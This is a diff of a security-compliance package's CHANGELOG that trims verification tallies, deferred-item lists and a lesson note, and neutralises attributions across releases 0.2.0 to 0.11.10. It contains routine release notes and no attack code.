New regression: `#100/#103 ci exit-3 path still flushes JSON to stdout` — asserts both `r.status === 3` AND `tryJson(r.stdout)` parses. This is the test that would have caught v0.11.10 before CI.
|
|
1925
1956
|
|
|
1926
|
-
### Lesson
|
|
1927
|
-
|
|
1928
|
-
When ending a verb with a non-zero exit AFTER writing structured stdout, prefer `process.exitCode = N; return;` over `process.exit(N)`. The former lets the event loop drain stdout; the latter can truncate. Codified in CLAUDE.md.
|
|
1929
|
-
|
|
1930
1957
|
## 0.11.10 — 2026-05-12
|
|
1931
1958
|
|
|
1932
1959
|
**Patch: items 119-122 — field-name alignment with operator expectations.**
|
|
1933
1960
|
|
|
1934
|
-
|
|
1961
|
+
Several "broken" items were actually present-under-a-different-name. v0.11.10 adds the missing aliases + tightens ci's empty-evidence semantic.
|
|
1935
1962
|
|
|
1936
1963
|
### Bugs
|
|
1937
1964
|
|
|
@@ -1945,23 +1972,13 @@ Pattern recognized across 10 v0.11.x releases: my output field names didn't matc
|
|
|
1945
1972
|
|
|
1946
1973
|
### Tests
|
|
1947
1974
|
|
|
1948
|
-
5 new cases in `tests/operator-bugs.test.js` for items 119/100/102/104.
|
|
1949
|
-
|
|
1950
|
-
### Verified by direct repro before fix
|
|
1951
|
-
|
|
1952
|
-
For every item I:
|
|
1953
|
-
1. Ran the user's exact CLI invocation
|
|
1954
|
-
2. Inspected the actual output shape vs the user's stated expectation
|
|
1955
|
-
3. Identified whether the bug was missing logic OR field-name mismatch
|
|
1956
|
-
4. Fixed both layers when the answer was "mismatch" (add alias) so subsequent operators reading by either name see the data
|
|
1957
|
-
|
|
1958
|
-
Pattern documented in CLAUDE.md (project-side contributor guide).
|
|
1975
|
+
5 new cases in `tests/operator-bugs.test.js` for items 119/100/102/104.
|
|
1959
1976
|
|
|
1960
1977
|
## 0.11.9 — 2026-05-12
|
|
1961
1978
|
|
|
1962
1979
|
**Patch: items 99-115 — CLI-shim audit, real fixes.**
|
|
1963
1980
|
|
|
1964
|
-
|
|
1981
|
+
The CLI shim layer between arg parsing and result rendering was the common root cause across 8 releases of "fixed" bugs that operators kept re-finding. v0.11.9 audits that layer end to end.
|
|
1965
1982
|
|
|
1966
1983
|
### Critical
|
|
1967
1984
|
|
|
@@ -1983,17 +2000,11 @@ User audit identified the common root cause across 8 releases of "fixed" bugs th
|
|
|
1983
2000
|
|
|
1984
2001
|
### Tests
|
|
1985
2002
|
|
|
1986
|
-
5 new cases for items 104, 113, 114, 115.
|
|
1987
|
-
|
|
1988
|
-
### Deferred
|
|
1989
|
-
|
|
1990
|
-
- **#116** `ci --explain` dry-run mode
|
|
1991
|
-
- **#117** `diff <playbook> --since <window>`
|
|
1992
|
-
- **#118** `attest sign <id>` retroactive signing
|
|
2003
|
+
5 new cases for items 104, 113, 114, 115.
|
|
1993
2004
|
|
|
1994
2005
|
## 0.11.8 — 2026-05-12
|
|
1995
2006
|
|
|
1996
|
-
**Patch: items 99-104 +
|
|
2007
|
+
**Patch: items 99-104 + new regression tests.**
|
|
1997
2008
|
|
|
1998
2009
|
### Critical
|
|
1999
2010
|
|
|
@@ -2011,12 +2022,7 @@ User audit identified the common root cause across 8 releases of "fixed" bugs th
|
|
|
2011
2022
|
|
|
2012
2023
|
### Tests
|
|
2013
2024
|
|
|
2014
|
-
6 new regression cases for items 99-103
|
|
2015
|
-
|
|
2016
|
-
### Deferred
|
|
2017
|
-
|
|
2018
|
-
- **#104** `--block-on-jurisdiction-clock` trigger condition unclear in help — clock_starts events fire on `detect_confirmed` etc; without a detected classification no clock fires. Help text wording deferred to v0.11.9.
|
|
2019
|
-
- **#105-108** `ci --explain`, `diff <playbook> --since 7d`, `ci --required`, `attest sign <id>` — features deferred to v0.11.9.
|
|
2025
|
+
6 new regression cases for items 99-103 in `tests/operator-bugs.test.js`.
|
|
2020
2026
|
|
|
2021
2027
|
## 0.11.7 — 2026-05-12
|
|
2022
2028
|
|
|
@@ -2030,7 +2036,7 @@ The fingerprint divergence between two same-process invocations of the same bina
|
|
|
2030
2036
|
|
|
2031
2037
|
### What's in this release
|
|
2032
2038
|
|
|
2033
|
-
All v0.11.6 changes
|
|
2039
|
+
All v0.11.6 changes:
|
|
2034
2040
|
|
|
2035
2041
|
- **#91** CSAF + OpenVEX include framework_gap_mapping (was: empty bundles for posture-only playbooks)
|
|
2036
2042
|
- **#92** CSAF tracking.current_release_date populated (spec §3.2.1.12)
|
|
@@ -2043,11 +2049,11 @@ All v0.11.6 changes (items 91-98 + 8 new regression tests, 322 total). See [v0.1
|
|
|
2043
2049
|
|
|
2044
2050
|
### Workflow improvement
|
|
2045
2051
|
|
|
2046
|
-
|
|
2052
|
+
README + landing-site updates are now part of every release sequence. README v0.11 section + exceptd.com softwareVersion updated alongside the package version bump.
|
|
2047
2053
|
|
|
2048
2054
|
## 0.11.6 — 2026-05-12
|
|
2049
2055
|
|
|
2050
|
-
**Patch: items 91-98
|
|
2056
|
+
**Patch: items 91-98.**
|
|
2051
2057
|
|
|
2052
2058
|
### Critical
|
|
2053
2059
|
|
|
@@ -2065,7 +2071,7 @@ Per operator request: README + landing-site updates are now part of every releas
|
|
|
2065
2071
|
|
|
2066
2072
|
### Test infrastructure
|
|
2067
2073
|
|
|
2068
|
-
35 cases in `tests/operator-bugs.test.js` (8 new for 91-98).
|
|
2074
|
+
35 cases in `tests/operator-bugs.test.js` (8 new for 91-98). Future bug fixes continue to land here.
|
|
2069
2075
|
|
|
2070
2076
|
## 0.11.5 — 2026-05-12
|
|
2071
2077
|
|
|
@@ -2545,8 +2551,6 @@ exceptd framework-gap PCI-DSS-4.0 "prompt injection"
|
|
|
2545
2551
|
exceptd framework-gap all CVE-2025-53773 --json
|
|
2546
2552
|
```
|
|
2547
2553
|
|
|
2548
|
-
13/13 predeploy gates green; 201 tests pass.
|
|
2549
|
-
|
|
2550
2554
|
## 0.9.4 — 2026-05-12
|
|
2551
2555
|
|
|
2552
2556
|
**Pin: drop upper bound on Node engine requirement.**
|
|
@@ -2579,8 +2583,6 @@ Test breadth assertion bumped from `>= 30` to `>= 40` WGs. Same dynamic-derivati
|
|
|
2579
2583
|
|
|
2580
2584
|
**Database coverage rationale**: IETF doesn't have a "database" WG because DB wire protocols (Postgres, MongoDB, etc.) aren't IETF-standardized. The security infrastructure databases USE — TLS for connections, SASL/Kerberos auth, workload identity, field encryption, audit-trail time anchoring, cert validation, access-control sync — is all covered by the WGs above. `jsonschema` adds the DB+API+policy schema validation layer that was previously missing.
|
|
2581
2585
|
|
|
2582
|
-
201 tests pass; 13/13 predeploy gates green.
|
|
2583
|
-
|
|
2584
2586
|
## 0.9.2 — 2026-05-12
|
|
2585
2587
|
|
|
2586
2588
|
**Pin: auto-discovery for KEV + IETF catalogs.** The refresh workflow now adds *new* catalog entries automatically instead of only updating existing ones.
|
|
@@ -2632,8 +2634,6 @@ Test breadth assertion bumped from `>= 30` to `>= 40` WGs. Same dynamic-derivati
|
|
|
2632
2634
|
- Volume cap + spill counting
|
|
2633
2635
|
- RWEP score bounded 0–100
|
|
2634
2636
|
|
|
2635
|
-
Total: 192 → **201 tests**. 13/13 predeploy gates green.
|
|
2636
|
-
|
|
2637
2637
|
### Operational note
|
|
2638
2638
|
|
|
2639
2639
|
The first run after deploy will likely pick up **8 new KEV entries** from the past ~5 days of CISA activity (visible in `/api/intel` already). These appear in the next auto-PR as a curated batch.
|
|
@@ -2702,7 +2702,7 @@ Predeploy gate count: **12 → 13**. All green on this release.
|
|
|
2702
2702
|
- **README rewrite**: three audience paths (AI consumer / operator / maintainer), npx install instructions, full CLI command reference, pre-computed indexes summary. npm badge added back alongside the release badge.
|
|
2703
2703
|
- **MAINTAINERS.md release runbook**: full one-time setup + per-release procedure + dry-run instructions + rollback options + consumer verification commands.
|
|
2704
2704
|
- **SBOM updates**: package's own `bom-ref` switches from `pkg:project/exceptd-skills@version` to canonical PURL `pkg:npm/@blamejs/exceptd-skills@version`. Adds `externalReferences` linking to the npm package page + GitHub repo.
|
|
2705
|
-
- **Tests**:
|
|
2705
|
+
- **Tests**: 10 new in `tests/bin-dispatcher.test.js`. Covers help, version, path, alias flags, unknown command, orchestrator passthrough, package.json publish-readiness invariants.
|
|
2706
2706
|
- **package.json updates**: keywords array for npm discoverability (`ai-security`, `compliance`, `cve`, `kev`, `mcp`, `prompt-injection`, `rwep`, `threat-intelligence`, etc.), explicit `author` field, `prepublishOnly` runs `predeploy + validate-package` so an accidental `npm publish` can't skip the gates.
|
|
2707
2707
|
|
|
2708
2708
|
### Operator workflows
|
|
@@ -2786,8 +2786,6 @@ This release ships the npm publish infrastructure but does NOT itself publish. T
|
|
|
2786
2786
|
- **`tests/build-incremental.test.js`** — `--only` dependency closure (`token-budget` pulls in `section-offsets`), unknown name rejection, `--changed` no-op when sources unchanged, `--changed` picks up a touched skill body, `--parallel` produces byte-identical output, `OUTPUTS` registry parity. 6 tests.
|
|
2787
2787
|
- **`tests/refresh-swarm.test.js`** — swarm vs. sequential report parity, `--from-cache` reads cache layout, `--from-cache <nonexistent>` exits non-zero. 3 tests.
|
|
2788
2788
|
|
|
2789
|
-
Total: 182/182 pass (was 156).
|
|
2790
|
-
|
|
2791
2789
|
### SBOM
|
|
2792
2790
|
|
|
2793
2791
|
`sbom.cdx.json` `components` array now lists the vendored files as proper CycloneDX library components with SHA-256 hashes, source repo, pinned commit, and an `externalReferences` link back to upstream. Metadata properties add `exceptd:vendor:count` and `exceptd:vendor:pin`.
|
|
@@ -2839,7 +2837,6 @@ Total: 182/182 pass (was 156).
|
|
|
2839
2837
|
### Test coverage
|
|
2840
2838
|
|
|
2841
2839
|
- `tests/indexes-v070.test.js` — 16 new tests across the 13 new/extended index files. Covers shape, cross-references to real skills + catalogs, byte-stability across rebuilds (idempotence).
|
|
2842
|
-
- 156 tests pass (was 132); 11/11 predeploy gates green.
|
|
2843
2840
|
|
|
2844
2841
|
### Internal fixes during this release
|
|
2845
2842
|
|
|
@@ -2885,8 +2882,6 @@ Total index size: ~125 KB across 6 files — **93% reduction** vs loading all sk
|
|
|
2885
2882
|
|
|
2886
2883
|
### Verification
|
|
2887
2884
|
|
|
2888
|
-
- 11/11 predeploy gates green
|
|
2889
|
-
- 38/38 skills signed
|
|
2890
2885
|
- audit-cross-skill: 0 issues
|
|
2891
2886
|
- audit-perf: all hot paths sub-5ms; indexes 60+× faster than on-the-fly chain reconstruction
|
|
2892
2887
|
|
|
@@ -2911,8 +2906,6 @@ Pin: cross-skill audit fixes. Added `scripts/audit-cross-skill.js` (comprehensiv
|
|
|
2911
2906
|
### Verification
|
|
2912
2907
|
|
|
2913
2908
|
- `node scripts/audit-cross-skill.js` → 0 issues
|
|
2914
|
-
- 10/10 predeploy gates green
|
|
2915
|
-
- 38/38 skills signed
|
|
2916
2909
|
|
|
2917
2910
|
## 0.5.4 — 2026-05-11
|
|
2918
2911
|
|
|
@@ -2934,11 +2927,6 @@ This is a renamed skill (removed `age-gates-minor-safeguarding` + added `age-gat
|
|
|
2934
2927
|
- `CHANGELOG.md`: 0.5.3 entry retroactively updated to use the new name
|
|
2935
2928
|
- SBOM refreshed
|
|
2936
2929
|
|
|
2937
|
-
### Verification
|
|
2938
|
-
|
|
2939
|
-
- 10/10 predeploy gates green
|
|
2940
|
-
- 38/38 skills signed and lint-passing
|
|
2941
|
-
|
|
2942
2930
|
## 0.5.3 — 2026-05-11
|
|
2943
2931
|
|
|
2944
2932
|
Pin-level skill additions closing thematic and age-related coverage gaps. Total skills 31 → 38.
|
|
@@ -2965,14 +2953,11 @@ Pin-level skill additions closing thematic and age-related coverage gaps. Total
|
|
|
2965
2953
|
|
|
2966
2954
|
### Verification
|
|
2967
2955
|
|
|
2968
|
-
- 10/10 predeploy gates passing
|
|
2969
|
-
- 38/38 skills passing lint
|
|
2970
|
-
- 132/132 tests passing
|
|
2971
2956
|
- SBOM refreshed to reflect 38 skills + 10 catalogs
|
|
2972
2957
|
|
|
2973
2958
|
## 0.5.2 — 2026-05-11
|
|
2974
2959
|
|
|
2975
|
-
Pin-level skill additions closing
|
|
2960
|
+
Pin-level skill additions closing sector and thematic coverage gaps; total skills 25 → 31.
|
|
2976
2961
|
|
|
2977
2962
|
### New skills
|
|
2978
2963
|
|
|
@@ -2992,9 +2977,6 @@ Pin-level skill additions closing the sector and thematic coverage gaps the cros
|
|
|
2992
2977
|
|
|
2993
2978
|
### Verification
|
|
2994
2979
|
|
|
2995
|
-
- 10/10 predeploy gates passing
|
|
2996
|
-
- 31/31 skills passing lint
|
|
2997
|
-
- 132/132 tests passing
|
|
2998
2980
|
- SBOM refreshed to reflect 31 skills + 10 catalogs
|
|
2999
2981
|
|
|
3000
2982
|
## 0.5.1 — 2026-05-11
|
|
@@ -3025,8 +3007,6 @@ Every entry across every catalog is now referenced by ≥1 skill.
|
|
|
3025
3007
|
|
|
3026
3008
|
### Verification
|
|
3027
3009
|
|
|
3028
|
-
- 10/10 predeploy gates green (Ed25519 / tests / catalog / offline-CVE / offline-RFC / snapshot / lint / watchlist / catalog-meta / SBOM-currency)
|
|
3029
|
-
- 132/132 tests passing
|
|
3030
3010
|
- All 25 skills re-signed; manifest snapshot regenerated additively
|
|
3031
3011
|
|
|
3032
3012
|
## 0.5.0 — 2026-05-11
|
|
@@ -3062,9 +3042,6 @@ Each closes a previously orphaned framework_gap and ships with the full 7-requir
|
|
|
3062
3042
|
|
|
3063
3043
|
### Verification
|
|
3064
3044
|
|
|
3065
|
-
- 25/25 skills passing lint
|
|
3066
|
-
- 132/132 tests passing
|
|
3067
|
-
- 7/7 predeploy gates passing
|
|
3068
3045
|
- DAG: 0 skills with in-degree 0, 0 skills with out-degree 0
|
|
3069
3046
|
- Orphans: 0 ATLAS, 0 D3FEND, 0 RFC, 0 CVE, 16/34 CWE (unallocated weakness classes — documented gap), 13/49 framework_gaps reduced via the 4 new skills to 9/49 (remaining 9 are sectoral gaps requiring future sector skills)
|
|
3070
3047
|
|
|
@@ -3104,11 +3081,6 @@ Each closes a previously orphaned framework_gap and ships with the full 7-requir
|
|
|
3104
3081
|
- `scripts/check-manifest-snapshot.js` and `scripts/refresh-manifest-snapshot.js` include the three new ref fields in the public-surface diff.
|
|
3105
3082
|
- AGENTS.md skill format spec + Quick Skill Reference table updated for the 5 new skills.
|
|
3106
3083
|
|
|
3107
|
-
### Verification
|
|
3108
|
-
- 21/21 skills passing lint
|
|
3109
|
-
- 132/132 tests passing
|
|
3110
|
-
- 7/7 predeploy gates passing
|
|
3111
|
-
|
|
3112
3084
|
## 0.3.0 — 2026-05-11
|
|
3113
3085
|
|
|
3114
3086
|
Pre-release: every CI gate green, full skill corpus compliant with the AGENTS.md hard rules.
|
|
@@ -3131,11 +3103,6 @@ Pre-release: every CI gate green, full skill corpus compliant with the AGENTS.md
|
|
|
3131
3103
|
### Data
|
|
3132
3104
|
- `data/framework-control-gaps.json` — added `NIST-800-53-SC-7` (Boundary Protection) entry. Documents how AI-API C2 routes through allowlisted provider domains (api.openai.com, api.anthropic.com, generativelanguage.googleapis.com) and defeats boundary inspection. Maps to `AML.T0096`, `AML.T0017`, `T1071`, `T1102`, `T1568`. Closes the orphaned-reference gap that the lint gate caught in `ai-c2-detection`.
|
|
3133
3105
|
|
|
3134
|
-
### Verification
|
|
3135
|
-
- 110/110 tests passing (`npm test`)
|
|
3136
|
-
- 16/16 skills passing lint (`npm run lint`)
|
|
3137
|
-
- All 6 predeploy gates green (`npm run predeploy`)
|
|
3138
|
-
|
|
3139
3106
|
## 0.2.0 — 2026-05-11
|
|
3140
3107
|
|
|
3141
3108
|
### Skills (15th added)
|